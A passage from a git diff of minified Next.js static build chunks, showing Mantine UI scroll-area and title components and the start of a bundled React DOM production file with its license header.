n=$(r),o=r.scrollbar.paddingStart+r.scrollbar.paddingEnd,l=r.scrollbar.size-o,i=r.content-r.viewport,a=function(e,[r,t]){return Math.min(t,Math.max(r,e))}(e,"ltr"===t?[0,i]:[-1*i,0]),c=B([0,i],[0,l-n]);return c(a)}function B(e,r){return t=>{if(e[0]===e[1]||r[0]===r[1])return r[0];let n=(r[1]-r[0])/(e[1]-e[0]);return r[0]+n*(t-e[0])}}let V=(e,r=()=>{})=>{let t={left:e.scrollLeft,top:e.scrollTop},n=0;return!function o(){let l={left:e.scrollLeft,top:e.scrollTop},i=t.left!==l.left,a=t.top!==l.top;(i||a)&&r(),t=l,n=window.requestAnimationFrame(o)}(),()=>window.cancelAnimationFrame(n)};function q(e,r){let t=b(e),o=(0,n.useRef)(0);return(0,n.useEffect)(()=>()=>window.clearTimeout(o.current),[]),(0,n.useCallback)(()=>{window.clearTimeout(o.current),o.current=window.setTimeout(t,r)},[t,r])}function G(e,r){let t=b(r);p(()=>{let r=0;if(e){let n=new ResizeObserver(()=>{cancelAnimationFrame(r),r=window.requestAnimationFrame(t)});return n.observe(e),()=>{window.cancelAnimationFrame(r),n.unobserve(e)}}},[e,t])}var J=t(4761),K=t(7818),Q=(0,t(6817).k)((e,{scrollbarSize:r,offsetScrollbars:t,scrollbarHovered:n,hidden:o},l)=>({root:{overflow:"hidden"},viewport:{width:"100%",height:"100%",paddingRight:t?r:void 0,paddingBottom:t?r:void 0},scrollbar:{display:o?"none":"flex",userSelect:"none",touchAction:"none",boxSizing:"border-box",padding:r/5,transition:"background-color 150ms ease, opacity 150ms ease","&:hover":{backgroundColor:"dark"===e.colorScheme?e.colors.dark[8]:e.colors.gray[0],[`& .${l("thumb")}`]:{backgroundColor:"dark"===e.colorScheme?e.fn.rgba(e.white,.5):e.fn.rgba(e.black,.5)}},'&[data-orientation="vertical"]':{width:r},'&[data-orientation="horizontal"]':{flexDirection:"column",height:r},'&[data-state="hidden"]':{display:"none",opacity:0}},thumb:{ref:l("thumb"),flex:1,backgroundColor:"dark"===e.colorScheme?e.fn.rgba(e.white,.4):e.fn.rgba(e.black,.4),borderRadius:r,position:"relative",transition:"background-color 150ms ease",display:o?"none":void 0,overflow:"hidden","&::before":{content:'""',position:"absolute",top:"50%",left:"50%",transform:"translate(-50%, -50%)",width:"100%",height:"100%",minWidth:44,minHeight:44}},corner:{backgroundColor:"dark"===e.colorScheme?e.colors.dark[6]:e.colors.gray[0],transition:"opacity 150ms ease",opacity:n?1:0,display:o?"none":void 0}})),ee=t(4523),er=Object.defineProperty,et=Object.defineProperties,en=Object.getOwnPropertyDescriptors,eo=Object.getOwnPropertySymbols,el=Object.prototype.hasOwnProperty,ei=Object.prototype.propertyIsEnumerable,ea=(e,r,t)=>r in e?er(e,r,{enumerable:!0,configurable:!0,writable:!0,value:t}):e[r]=t,ec=(e,r)=>{for(var t in r||(r={}))el.call(r,t)&&ea(e,t,r[t]);if(eo)for(var t of eo(r))ei.call(r,t)&&ea(e,t,r[t]);return e},es=(e,r)=>et(e,en(r)),eu=(e,r)=>{var t={};for(var n in e)el.call(e,n)&&0>r.indexOf(n)&&(t[n]=e[n]);if(null!=e&&eo)for(var n of eo(e))0>r.indexOf(n)&&ei.call(e,n)&&(t[n]=e[n]);return t};let ed={scrollbarSize:12,scrollHideDelay:1e3,type:"hover",offsetScrollbars:!1},ef=(0,n.forwardRef)((e,r)=>{let t=(0,J.N4)("ScrollArea",ed,e),{children:o,className:l,classNames:i,styles:a,scrollbarSize:c,scrollHideDelay:s,type:u,dir:d,offsetScrollbars:f,viewportRef:p,onScrollPositionChange:m,unstyled:h,viewportProps:b}=t,v=eu(t,["children","className","classNames","styles","scrollbarSize","scrollHideDelay","type","dir","offsetScrollbars","viewportRef","onScrollPositionChange","unstyled","viewportProps"]),[w,g]=(0,n.useState)(!1),y=(0,J.rZ)(),{classes:E,cx:S}=Q({scrollbarSize:c,offsetScrollbars:f,scrollbarHovered:w,hidden:"never"===u},{name:"ScrollArea",classNames:i,styles:a,unstyled:h});return n.createElement(N,{type:"never"===u?"always":u,scrollHideDelay:s,dir:d||y.dir,ref:r,asChild:!0},n.createElement(ee.x,ec({className:S(E.root,l)},v),n.createElement(T,es(ec({},b),{className:E.viewport,ref:p,onScroll:"function"==typeof m?({currentTarget:e})=>m({x:e.scrollLeft,y:e.scrollTop}):void 0}),o),n.createElement(R,{orientation:"horizontal",className:E.scrollbar,forceMount:!0,onMouseEnter:()=>g(!0),onMouseLeave:()=>g(!1)},n.createElement(I,{className:E.thumb})),n.createElement(R,{orientation:"vertical",className:E.scrollbar,forceMount:!0,onMouseEnter:()=>g(!0),onMouseLeave:()=>g(!1)},n.createElement(I,{className:E.thumb})),n.createElement(U,{className:E.corner})))}),ep=(0,n.forwardRef)((e,r)=>{let t=(0,J.N4)("ScrollAreaAutosize",ed,e),{maxHeight:o,children:l,classNames:i,styles:a,scrollbarSize:c,scrollHideDelay:s,type:u,dir:d,offsetScrollbars:f,viewportRef:p,onScrollPositionChange:m,unstyled:h,sx:b}=t,v=eu(t,["maxHeight","children","classNames","styles","scrollbarSize","scrollHideDelay","type","dir","offsetScrollbars","viewportRef","onScrollPositionChange","unstyled","sx"]);return n.createElement(ee.x,es(ec({},v),{ref:r,sx:[{display:"flex",maxHeight:o},...(0,K.R)(b)]}),n.createElement(ee.x,{sx:{display:"flex",flexDirection:"column",flex:1}},n.createElement(ef,{classNames:i,styles:a,scrollHideDelay:s,scrollbarSize:c,type:u,dir:d,offsetScrollbars:f,viewportRef:p,onScrollPositionChange:m,unstyled:h},l)))});ep.displayName="@mantine/core/ScrollAreaAutosize",ef.displayName="@mantine/core/ScrollArea",ef.Autosize=ep;let em=ef},9236:function(e,r,t){t.d(r,{D:function(){return T}});var n=t(7294),o=t(4761),l=t(6817),i=Object.defineProperty,a=Object.defineProperties,c=Object.getOwnPropertyDescriptors,s=Object.getOwnPropertySymbols,u=Object.prototype.hasOwnProperty,d=Object.prototype.propertyIsEnumerable,f=(e,r,t)=>r in e?i(e,r,{enumerable:!0,configurable:!0,writable:!0,value:t}):e[r]=t,p=(e,r)=>{for(var t in r||(r={}))u.call(r,t)&&f(e,t,r[t]);if(s)for(var t of s(r))d.call(r,t)&&f(e,t,r[t]);return e},m=(e,r)=>a(e,c(r)),h=(0,l.k)((e,{element:r,weight:t,size:n,inline:o})=>({root:m(p({},e.fn.fontStyles()),{fontFamily:e.headings.fontFamily,fontWeight:t||e.headings.sizes[r].fontWeight||e.headings.fontWeight,fontSize:void 0!==n?n in e.headings.sizes?e.headings.sizes[n].fontSize:n:e.headings.sizes[r].fontSize,lineHeight:o?1:void 0!==n&&n in e.headings.sizes?e.headings.sizes[n].lineHeight:e.headings.sizes[r].lineHeight,margin:0})})),b=t(5117),v=Object.defineProperty,w=Object.getOwnPropertySymbols,g=Object.prototype.hasOwnProperty,y=Object.prototype.propertyIsEnumerable,E=(e,r,t)=>r in e?v(e,r,{enumerable:!0,configurable:!0,writable:!0,value:t}):e[r]=t,S=(e,r)=>{for(var t in r||(r={}))g.call(r,t)&&E(e,t,r[t]);if(w)for(var t of w(r))y.call(r,t)&&E(e,t,r[t]);return e},C=(e,r)=>{var t={};for(var n in e)g.call(e,n)&&0>r.indexOf(n)&&(t[n]=e[n]);if(null!=e&&w)for(var n of w(e))0>r.indexOf(n)&&y.call(e,n)&&(t[n]=e[n]);return t};let N={order:1},T=(0,n.forwardRef)((e,r)=>{let t=(0,o.N4)("Title",N,e),{className:l,order:i,children:a,unstyled:c,size:s,weight:u,inline:d}=t,f=C(t,["className","order","children","unstyled","size","weight","inline"]),{classes:p,cx:m}=h({element:`h${i}`,weight:u,size:s,inline:d},{name:"Title",unstyled:c});return[1,2,3,4,5,6].includes(i)?n.createElement(b.x,S({component:`h${i}`,ref:r,className:m(p.root,l)},f),a):null});T.displayName="@mantine/core/Title"}}]); \ No newline at end of file diff --git a/server/web/static/_next/static/chunks/framework-114634acb84f8baa.js b/server/web/static/_next/static/chunks/framework-114634acb84f8baa.js new file mode 100644 index 0000000..3e28efe --- /dev/null +++ b/server/web/static/_next/static/chunks/framework-114634acb84f8baa.js @@ -0,0 +1,33 @@ +"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[774],{4448:function(e,n,t){/** + * @license React + * react-dom.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var r,l,a,u,o,i,s=t(7294),c=t(3840);function f(e){for(var n="https://reactjs.org/docs/error-decoder.html?invariant="+e,t=1;t